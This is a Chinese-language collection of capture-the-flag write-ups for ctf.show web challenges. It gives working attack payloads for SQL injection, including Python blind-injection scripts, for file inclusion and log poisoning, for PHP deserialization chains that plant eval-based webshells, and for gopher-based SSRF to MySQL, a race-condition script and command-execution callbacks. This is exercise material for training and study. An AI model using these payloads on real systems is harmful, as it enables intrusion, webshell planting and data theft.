web
web签到题
base64
web2
是sql注入,但是没有回显,搞得挺恶心的,上sqlmap不知道为啥跑不出来
这个报错是没有一点显示的,搞得最开始我都没弄清单双引号
但本质上还是个简单的sql注入
username=a' or 1=1 #&password=a
有显示
order by 查到是3,联合注入
username=a' union select 1,database(),3#&password=a
要注意的是,这里的回显位是2,必须把要查的东西放在第二位
显示web2
爆库爆表爆值
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="web2"#&password=a
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=a
username=a' union select 1,group_concat(flag),3 from web2.flag#&password=a
得到flag
web3
有提示
那就是伪协议文件包含了,而且没有什么过滤
?url=data://text/plain,<?=`cat ctf_go_go_go`;?>
显示出flag
web4
<?php include($_GET['url']);?>
文件包含考虑php伪协议,但是传值之后发现error报错,看了wp才知道又是日志包含
(看了一眼过滤php和data)
改个UA再发包,写个一句话木马连蚁剑
web5
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
ctype_alpha()判断是否全字母,is_numeric()判断是否全数字,简单的md5绕过
?v1=QNKCDZO&v2=240610708
web6
唉,没有一点提示,过滤了or和空格。还把报错关了。试了一下才知道有三列,回显位在2
password=2&username=-1'union/**/select/**/1,2,3#
然后就是最傻逼的拼命令
password=2&username=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
password=2&username=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
password=2&username=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/web2.flag#
web7
一样的
?id=-1/**/union/**/select/**/1,2,3
?id=-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
?id=-1/**/union/**/select/**/1,database(),group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
?id=-1/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/web.flag#
web8
用-1/**/or/**/1=1/**/order/**/by/**/3
测出来有三段
但是禁用了union关键字,那就只能用盲注了
import requests
url = 'http://e3406b2c-d1a2-4d95-9939-2b3b5e00d525.challenge.ctf.show/'
s = requests.session()
flag = ""
for i in range(1, 80):
for j in range(32, 128):
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#" % (
str(i), str(j))
test = s.get(url = url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in test:
flag += chr(j)
print(flag)
break
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#" % (
str(i), str(j))
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
唉,phpmyadmin真是傻逼,乱切换数据库。跑测试的时候弄了好久,还得是Navicat
NP,启动!
web9
呃呃,脑残是不。啥提示没有,试了个ffifdyop
给我弹flag了,也不提示我md5
web10
点击取消弹出来个index.phps,打开查看源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
这里直接用的strlen来判断,那么双写就绕过不了了。还把union select禁用了,那quine注入也用不了
本来是想着使用堆叠注入。在后面堆叠插入一条新的数据。但由于使用的是mysqli_query函数,更没法堆叠注入。堆叠注入要求使用mysqli_multi_query函数
,只有这个函数能一次性执行多条语句
看似是没什么思路了,看了一下别人的wp才知道还有一种方法也能构造出多一条数据
GROUP BY 会根据每条password的值进行判断。如果结合SUM等函数,就可以做到让password相同的值所对应的其他列内容进行SUM等操作
至于 WITH ROLLUP,它是一种用于在 GROUP BY 子句中添加汇总行的选项。它会在结果中添加一个额外的行,该行包含了所有分组的聚合结果。同上,如果进行了SUM操作,就会把所有的值都SUM起来
例:
select `password`,SUM(`username`) FROM users GROUP BY `password`
而如果加上rollup,就会多处一列,再次进行SUM的汇总操作
而此时,password这一栏会显示NULL
这个题就是利用了这个点,产生了一条password=Null的数据。而这时在POST中传入null就可echo出flag
再补充一下堆叠注入的办法吧,虽然在这题用不了,但谁知道以后呢。只适用于mysqli_multi_query
使用多条sql语句,并用;分割执行。本质上是堆叠+二次注入
payload:
1;;INSERT INTO `user`.`users` (`password`, `username`) VALUES ('test', 'test');;UPDATE users SET password = 'done';UPDATE users SET username = 'done';
这样一来就把所有的用户名和对应的密码都设置为done了
wb11
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
这题也是出的云里雾里的,跟数据库一点关系没有
$password实际上是get传参进来的,和session[‘password’]进行比较
如果两个都为空即可绕过
删掉password的赋值和Cookie
web12
F12给出hit:?cmd=
尝试多次之后发现传入phpinfo();可以成功回显,思路就是直接查文件。但是一看phpinfo里能用的函数基本全给我ban了,直接用命令的方法也不会是很ok
这时候就要想到php原生类了。结合我之前做的笔记,直接Globlterator+SplFileObject开查
?cmd=$context = new SplFileObject('/var/www/html/903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');foreach($context as $f){
echo($f);
}
唉,看了别的师傅wp,还有更简单的函数highlight_file,直接秒了
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")
红包题第二弹
给cmd随便传了个东西就弹出源码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
可见,能用的有 p = + ; . ? < > ` \
想不明白直接找资料
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的
upload_tmp_dir
就是这个临时文件的保存目录。linux下默认为/tmp
。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX
基本思路就是上传,然后用eval+`+?+.去模糊匹配执行(.=source,source一个文件相当于把每行的命令依次执行一次)
那就是要先完成文件上传,直接让chatgpt给就行
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传示例</title>
</head>
<body>
<h1>文件上传示例</h1>
<input type="file" id="fileInput" accept=".jpg, .jpeg, .png, .gif">
<button type="button" onclick="uploadFile()">上传文件</button>
<div id="response"></div>
<script>
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const responseDiv = document.getElementById('response');
if (fileInput.files.length === 0) {
alert('请选择一个文件');
return;
}
const file = fileInput.files[0];
const formData = new FormData();
formData.append('file', file);
fetch('https://your-upload-url.com', {
method: 'POST',
body: formData
})
.then(response => {
if (response.ok) {
return response.text();
} else {
throw new Error('文件上传失败');
}
})
}
</script>
</body>
</html>
这时候直接向/index.php?cmd=?><?=`.+/??p/p?p??????`;上传test.txt,内容是
#! /bin/bash
cat /flag.txt
就可以弹出flag
web13
唉,也是脑残。源码在upload.php.bak
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
要求文件名中没有php而且后缀名小于等于3
那基本所有能直接使用的php页面都传不上去了
而且要文件大小<=24,那就只能这么写了<?php eval($_POST['a']);
又不能上传.htaccess来解析绕过
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt
,这样在该目录下的所有文件都会包含a.txt的内容
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
所以上传之后要等一会才能重新发
web14
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
都忘了,如果switch case不加break会一直顺序执行,所以传了
?c=3
之后就会一直执行到echo “$url”;
进入下一个网页F12有提示
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
试了一下发现是int注入,直接order by查只有一列,当前数据库为web。而且ban了information_schema.tables。
可以用`information_schema`.`tables`代替information_schema.tables
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/`information_schema`.`tables`/**/where/**/`table_schema`='web'%23
=>alert('content')
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/`information_schema`.`columns`/**/where/**/`table_name`='content'%23
=>alert('id,username,password')
?query=-1/**/union/**/select/**/group_concat(id,';',username,';',password)/**/from/**/content%23
=>alert('1;admin;flag is not here!,2;gtf1y;wow,you can really dance,3;Wow;tell you a secret,secret has a secret...')
好吧,并没有flag,那就直接试一下load_file读取本地文件
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")%23
=>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')
看一下代码可以再读一下/real_flag_is_here
?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")%23
=>alert('ctfshow{8eb644ba-4766-41b1-a638-34e2fe5f5312}')
或者从代码里可以看出来要判断$file中是否存在”ctf.show”字符串,也可以通过into outfile函数写文件到/tmp/gtf1y中
?query=-1/**/union/**/select/**/"ctf.show"/**/into/**/outfile("/tmp/gtf1y")%23
然后直接访问secret.php,也能弹出flag
红包题第六弹
扫目录有web.zip泄露,对页面审计发现有主要函数
function ctfshow(token,data){
var oReq = new XMLHttpRequest();
oReq.open("POST", "check.php?token="+token+"&php://input", true);
oReq.onload = function (oEvent) {
if(oReq.status===200){
var res=eval("("+oReq.response+")");
if(res.success ==1 &&res.error!=1){
alert(res.msg);
return;
}
if(res.error ==1){
alert(res.errormsg);
return;
}
}
return;
};
oReq.send(data);
}
结合web.zip中的check.php
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
随便传个东西过去发现直接报md5 error,就是md5校验那里没过,再跟踪一下receiveStreamFile函数看一下他在做什么
$streamData从php://input里接收数据流,然后通过file_put_contents写入到$receiveFile中
遇到了挺多次的小点,记录一下为什么php://input传不进去文件的问题
php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的
data
部分,在enctype="multipart/form-data"
的时候php://input
是无效的。
而$receiveFile已经写死是flag.dat,那唯一可控的就是传输过去的数据流
可以直接把key.dat下下来,就可以得到目标文件的data,现在就需要想怎么把本地的key.dat传到服务器里
那就可以本地给个上传前端(红包题第二弹),然后在bp里稍微改一下data就能绕过md5
还要把文件尾的回车删掉,这时就能弹出same file的报错。这说明md5相等而且sha512也相等
这个时候看了网上大部分wp,都说是md5碰撞,但其实不是的。这是条件竞争
两个if判断中必然会有时间差,要利用这个时间差把flag.dat再次替换一遍,才可以做到绕过sha512
如果单纯利用fastcoll,是碰撞不出来和key.dat有相同md5的文件,这也是我看了很久想不明白的点
而条件竞争通常需要python的多线程操作。这里有特殊字符,bp经常会自动给你加payload导致和源文件不一致,所以使用python的thread模块
import threading
import requests
url = "http://d6d06d87-f806-48a0-a282-a653e47e9fb6.challenge.ctf.show/check.php?token=70efdf2ec9b086079795c442636b55fb&php://input"
def POST(data):
try:
r = requests.post(url,data = data)
print(r.text)
pass
except Exception as e:
print(e)
pass
pass
with open('key.dat','rb') as k:
data = k.read()
pass
for i in range(500):
threading.Thread(target = POST,args = (data,)).start()
threading.Thread(target = POST,args = ("test",)).start()
红包题第七弹
咋一看没东西,扫网发现有git泄露
用githack失败了,那就换用Git_Extract,把git扒下来,发现有backdoor.php的后门一句话木马
@eval($_POST['Letmein']);
直接进去打,但是禁用的函数太多,没法rce。先连个蚁剑找到flag在/var/www下
可以直接用highlight_file显示出来
萌新专属红包题
唉,最低能的弱口令。得找个时间把字典好好整理一下了
u=admin&p=admin888
CTFshow web1
扫网发现www.zip,打开发现连了web15的数据库,函数大概是全禁了
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username))
里边有个user_main.php,但是并不会直接给你放出pwd
注意得到,执行的sql语句是select * from user order by $order
,而order是可以操控的位置,当使用pwd的时候,就会使用pwd来排序。如果密码排序>flag,排序就会靠上。这个时候就得考虑盲注了
这里给出二分法的payload
import requests
regurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/reg.php"
queurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/user_main.php?order=pwd"
key = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
flag = "ctfshow{"
# 注册项目
for i in range(50):
max = len(key)
min = 0
mid = (max + min) >> 1
while mid < max:
c = key[mid]
print("now playload:", c)
raw_data = {
"username": flag + c,
"email": "flag",
"nickname": "flag",
"password": flag + c,
}
s = requests.session()
reg = s.post(url = regurl,
data = raw_data,
headers = {
"Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
})
que = requests.get(url = queurl, headers = {
"Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
})
p_t = que.text.index(flag + c)
p_flag = que.text.index("flag_is_my_password")
if p_t > p_flag:
max = mid
else:
min = mid + 1
mid = (min + max) >> 1
flag = flag + key[mid - 1]
print("-----------------------")
print(flag)
由于很多<>等特殊符号被禁用了,所以直接指定key。而且mysql排序并不是按ascii码排序。当字母不同,按字母表顺序排列;当同字母,先小写后大写
game-gyctf web2
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
这题涉及到了反序列化字符串逃逸。
PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串
把www.zip扒下来,看得到只有`$_SESSION['login']===1`的时候才能弹出flag
但是只有User::login()中才会对$_SESSION['login']
进行赋值
而赋值的条件得是token=admin或者password=数据库中password
通过分析可知,User::login()其实就是写死了dbCtl::login()的查询语句,但是我们可以通过链子自己构造sql语句
UpdateHelper::__destruct()->User::__toString->Info::__Call->dbCtrl::login()
这样如果第一次打通了,会触发$_SESSION['token']="admin"
第二次再次登陆的时候,会直接判断dbCtrl
if ($this->token=='admin') {
return $idResult;
}
然后就可以绕过密码的验证
唯一的问题就是Info在构造的时候并不会构造$CtrlCase,导致无法进__call函数
但是safe函数可以帮助绕过该限制(字符串逃逸漏洞)
尝试传age=1&nickname=2
传出的反序列化字符串为
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}
说明可控的只有age和nickname两个字段,最后的CtrlCase无法传入。但是由于safe的函数的出现,使得逃逸成为了可能
当传入age=1&nickname=union
时
传出的反序列化字符串变成了
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:5:"hacker";s:8:"CtrlCase";N;}
这样s:8:"nickname";s:5:"hacker"
就出错了,因为其中的s:5仅与传入的nickname的值的长度有关,而hacker是6位。这是因为safe函数会把一些单词替换
那就可以自行构造一个序列化字符串进去,强行把后面的CtrlCase构造出来
<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User{
public $nickname;
public $age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
public function __construct(){
$this->nickname = new Info();
}
}
class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper{
public $sql;
public function __destruct()
{
echo $this->sql;
}
public function __construct(){
$this->sql = new User();
}
}
class dbCtrl{
public $name = "admin";
public $password = '1';
}
$u = new UpdateHelper();
$len = strlen('";s:8:"CtrlCase";'.serialize($u).'}');
$payload = str_repeat('union', $len).'";s:8:"CtrlCase";'.serialize($u).'}';
echo $payload;
这样就构造出了payload,把payload作为nickname传入
由于safe会把union修改为hacker(字符数+1),只要我们传入一定长度的union,就可以让s:8:"nickname";s:1920:
其中的s:1920全部变成hacker,从而使后面我们自行构造的CtrlCase逃出
当我们传入的sql语句select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
不管username是什么,始终返回1,c4ca4238a0b923820dcc509a6f75849b
而在传入payload的时候就指定public $password = '1'
,就可以通过if (md5($this->password)!==$passwordResult)
这条语句成功赋值session
在最后添加一个}来提前结束反序列化,由于反序列化的特性,成功后将忽略后面多余的字符串
打进去之后我们的$_SESSION[‘token’]=admin,再次访问login就能通过验证弹出flag
Fishman
这题有一个注入点可以打
但是有个waf,会遍历所有get,post,cookie参数,在黑名单两侧加上@从而阻止注入
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
但在member.php中有一条json_decode操作,而json_decode会将传入的unicode自动解码,这就提供了条件
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
可以从返回的setcookie来判断是否成功,给个poc进行验证
<?php
require_once "include/safe.php";
var_dump($_COOKIE['test']);
$login_data = json_decode($_COOKIE['test'], true);
var_dump($login_data);
而member.php必须从common.php里打,所以就有exp
import requests
flag = ""
url = "http://127.0.0.1:7788/poc.php"
# $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
for i in range(1, 100):
min = 33
max = 127
mid = (min + max) // 2
while min < max:
payload = "' or ascii(substr(database(),{},1))>{} #".format(i, mid)
cookie = 'islogin=1;login_data={{"admin_user":"{payload}","admin_pass":65}}'.format(payload = payload)
headers = {'cookie': cookie}
re = requests.get(url = url, headers = headers)
setcookie = str(re.headers)
if setcookie.count("islogin") == 2:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
if chr(mid) == " ":
break
flag += chr(mid)
print(flag)
红包题第九弹
登陆发现除了传username之外还有个returl参数,把returl的值改为http://baidu.com直接回显了百度的页面,可能是ssrf
猜测是使用了include远程包含或者curl函数,题目给了hint是跟mysql有关,那就大概是curl
curl也没法用file函数,换用gopher,hint给出mysql无密码,端口3306
python2 gopherus.py --exploit mysql
往本地写文件
把payload urlencode一下传进去成功写入tt.php文件中了,蚁剑直接打就行
红包题 葵花宝典
本来以为考的是PDO的sql注入,但是用的不是gbk,没法宽字节
注册+登陆就出flag
红包题 辟邪剑谱
mysql有个特性,当模式设置为非严格的时候,如果插入的值比列设置的值长,会自动截取一部分
比如插入admin+空格x300,如果列设置的是VARCHAR(255),mysql会自动截取到合适的位置=>admin
login.php写死了查询的用户为admin
$data=$db->select("admin",["username","password"],["username[=]"=>"admin"]);
foreach($data as $d){
if ($d['password']===$user_password){
$_SESSION['user']=$user_name;
die("login success!<br><hr>flag is $flag");
}
}
所以只能通过注册来覆盖这个原来的admin
$user_name=trim($_POST['user_name']);
$user_password=trim($_POST['user_password']);
$data=$db->select("admin",["username","password"],["username[=]"=>$user_name]);
if(count($data)>0){
die("username in use!");
}
if($user_name==="admin"){
die("you are not admin!");
}
if(preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\[|\}|\]|\;|\:|\'|\"|\<|\,|\>|\.|\?/i",$user_name)){
die("stop hack!");
}
$data = $db->insert('admin',["username"=>"$user_name","password"=>"$user_password"]);
由于trim函数的处理,所有开头/结尾的特殊符号都会被删去,所以只能构造admin+空格x300+1来打
user_name=admin 1&user_password=1
成功注册然后登陆
【nl】难了
>nl
一切看起来都那么合情合理
session的反序列化攻击
ini_set('session.serialize_handler', 'php');
在这里的时候会进行一次反序列化
然后再了解一下序列化处理器
处理器名称 存储格式 php 键名 + 竖线 + 经过 serialize()
函数序列化处理的值php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize()
函数序列化处理的值php_serialize 经过serialize()函数序列化处理的数组 上述三种处理器中,
php_serialize
在内部简单地直接使用serialize/unserialize
函数,并且不会有php
和php_binary
所具有的限制。 使用较旧的序列化处理器导致$_SESSION
的索引既不能是数字也不能包含特殊字符(|
和!
) 。php
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['session'] = $_GET['session'];
结果为
session|s:4:"test";
session
为$_SESSION['session']
的键名,|
后为传入 GET 参数经过序列化后的值php_binary
<?php error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['sessionsessionsessionsessionsessionsession'] = $_GET['sessionsessionsessionsessionsessionsession'];
结果为
*sessionsessionsessionsessionsessionsessions:4:"test";
*
为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessionsession
为键名,s:4:"test";
为传入 GET 参数经过序列化后的值php_serialize
<?php var_dump(sys_get_temp_dir()); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_save_path("D:\\server\\tmp"); session_start(); $_SESSION['session'] = $_GET['session'];
结果为
a:1:{s:7:"session";s:4:"test";}
单纯的反序列化
但指定解析器为php时,可以人为添加一个|
,然后跟需要反序列化的内容。从而指定序列化
class User{
public $username;
public $password;
public $status;
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
一眼写文件,指定username=test.php
和password=<?php eval($_POST['shell']);?>
,然后把序列化出来的内容加个|
然后base64传入就行
payload
|O:4:"User":3:{s:8:"username";s:8:"test.php";s:8:"password";s:30:"<?php eval($_POST["shell"]);?>";s:6:"status";N;}
base64:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo4OiJ0ZXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgZXZhbCgkX1BPU1RbInNoZWxsIl0pOz8+IjtzOjY6InN0YXR1cyI7Tjt9
urlencode:
%66%45%38%36%4e%44%6f%69%56%58%4e%6c%63%69%49%36%4d%7a%70%37%63%7a%6f%34%4f%69%4a%31%63%32%56%79%62%6d%46%74%5a%53%49%37%63%7a%6f%34%4f%69%4a%30%5a%58%4e%30%4c%6e%42%6f%63%43%49%37%63%7a%6f%34%4f%69%4a%77%59%58%4e%7a%64%32%39%79%5a%43%49%37%63%7a%6f%7a%4d%44%6f%69%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%49%6e%4e%6f%5a%57%78%73%49%6c%30%70%4f%7a%38%2b%49%6a%74%7a%4f%6a%59%36%49%6e%4e%30%59%58%52%31%63%79%49%37%54%6a%74%39
先访问index.php,在服务器上存个session,然后带着修改后的payload再访问index.php
此时会进入这层判断
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}
从而把可控的$_cookie[‘limit’]写入session文件中,再访问/inc/inc.php进行反序列化,成功写入文件log-test.php
蚁剑直接连就行
红包题 耗子尾汁
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
主要的重点就是通过forward_static_call_array的回调函数来调用函数,但是forward_static_call_array仅能使用静态的函数,所以eval,include这类函数就没法用
两种解法
套娃
寻找一个没在黑名单内的回调函数,通过forward_static_call_array调用这个回调函数,再调用真正的恶意函数
参考->https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
奇特的是,黑名单内没有本身这个forward_static_call_array,而且register_shutdown_function也打成了registregister_shutdown_function,所以可以任选一个函数来打
要求回调的第二个参数时array,所以可以构造这样一个链
forward_static_call_array->forward_static_call_array->system->'ls'
